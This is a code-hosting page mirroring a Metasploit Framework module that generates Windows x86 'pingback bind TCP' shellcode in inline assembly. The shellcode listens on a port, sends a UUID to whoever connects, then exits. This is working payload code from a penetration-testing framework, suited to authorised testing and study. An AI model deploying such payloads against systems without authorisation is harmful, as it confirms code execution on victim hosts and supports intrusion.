CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/windows/pingback_bind_tcp.rb
Views: 11765
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = 314
10
11
include Msf::Payload::Windows
12
include Msf::Payload::Single
13
include Msf::Payload::Pingback
14
include Msf::Payload::Windows::BlockApi
15
include Msf::Payload::Pingback::Options
16
include Msf::Payload::Windows::Exitfunk
17
18
def initialize(info = {})
19
super(merge_info(info,
20
'Name' => 'Windows x86 Pingback, Bind TCP Inline',
21
'Description' => 'Open a socket and report UUID when a connection is received (Windows x86)',
22
'Author' => [ 'bwatters-r7' ],
23
'License' => MSF_LICENSE,
24
'Platform' => 'win',
25
'Arch' => ARCH_X86,
26
'Handler' => Msf::Handler::BindTcp,
27
'Session' => Msf::Sessions::Pingback
28
))
29
30
def required_space
31
# Start with our cached default generated size
32
space = cached_size
33
34
# EXITFUNK 'seh' is the worst case, that adds 15 bytes
35
space += 15
36
37
space
38
end
39
40
def generate(_opts = {})
41
encoded_port = [datastore['LPORT'].to_i,2].pack("vn").unpack("N").first
42
encoded_host = Rex::Socket.addr_aton(datastore['LHOST']||"127.127.127.127").unpack("V").first
43
encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]
44
self.pingback_uuid ||= self.generate_pingback_uuid
45
uuid_as_db = "0x" + self.pingback_uuid.chars.each_slice(2).map(&:join).join(",0x")
46
conf = { exitfunk: datastore['EXITFUNC'] }
47
addr_fam = 2
48
sockaddr_size = 16
49
50
asm = %Q^
51
cld ; Clear the direction flag.
52
call start ; Call start, this pushes the address of 'api_call' onto the stack.
53
#{asm_block_api}
54
start:
55
pop ebp
56
; Input: EBP must be the address of 'api_call'.
57
; Output: EDI will be the newly connected clients socket
58
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
59
60
bind_tcp:
61
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
62
push 0x5F327377 ; ...
63
push esp ; Push a pointer to the "ws2_32" string on the stack.
64
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
65
call ebp ; LoadLibraryA( "ws2_32" )
66
67
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
68
sub esp, eax ; alloc some space for the WSAData structure
69
push esp ; push a pointer to this struct
70
push eax ; push the wVersionRequested parameter
71
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
72
call ebp ; WSAStartup( 0x0190, &WSAData );
73
74
push 11
75
pop ecx
76
push_0_loop:
77
push eax ; if we succeed, eax will be zero, push it enough times
78
; to cater for both IPv4 and IPv6
79
loop push_0_loop
80
81
; push zero for the flags param [8]
82
; push null for reserved parameter [7]
83
; we do not specify a WSAPROTOCOL_INFO structure [6]
84
; we do not specify a protocol [5]
85
push 1 ; push SOCK_STREAM
86
push #{addr_fam} ; push AF_INET/6
87
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
88
call ebp ; WSASocketA( AF_INET/6, SOCK_STREAM, 0, 0, 0, 0 );
89
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
90
91
; bind to 0.0.0.0/[::], pushed earlier
92
93
push #{encoded_port} ; family AF_INET and port number
94
mov esi, esp ; save a pointer to sockaddr_in struct
95
push #{sockaddr_size} ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used)
96
push esi ; pointer to the sockaddr_in struct
97
push edi ; socket
98
push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}
99
call ebp ; bind( s, &sockaddr_in, 16 );
100
test eax,eax ; non-zero means a failure
101
jnz failure
102
; backlog, pushed earlier [3]
103
push edi ; socket
104
push #{Rex::Text.block_api_hash('ws2_32.dll', 'listen')}
105
call ebp ; listen( s, 0 );
106
107
; we set length for the sockaddr struct to zero, pushed earlier [2]
108
; we dont set the optional sockaddr param, pushed earlier [1]
109
push edi ; listening socket
110
push #{Rex::Text.block_api_hash('ws2_32.dll', 'accept')}
111
call ebp ; accept( s, 0, 0 );
112
113
push edi ; push the listening socket
114
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
115
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
116
call ebp ; closesocket( s );
117
118
send_pingback:
119
push 0 ; flags
120
push #{uuid_as_db.split(",").length} ; length of the PINGBACK UUID
121
call get_pingback_address ; put pingback_uuid buffer on the stack
122
db #{uuid_as_db} ; PINGBACK_UUID
123
get_pingback_address:
124
push edi ; saved socket
125
push #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}
126
call ebp ; call send
127
128
push edi ; push the listening socket
129
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
130
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
131
call ebp ; closesocket( s );
132
133
handle_connect_failure:
134
; decrement our attempt count and try again
135
dec dword [esi+8]
136
jnz failure
137
138
cleanup_socket:
139
; clear up the socket
140
push edi ; socket handle
141
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
142
call ebp ; closesocket(socket)
143
144
failure:
145
^
146
if conf[:exitfunk]
147
asm << asm_exitfunk(conf)
148
end
149
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
150
end
151
end
152
end
153
154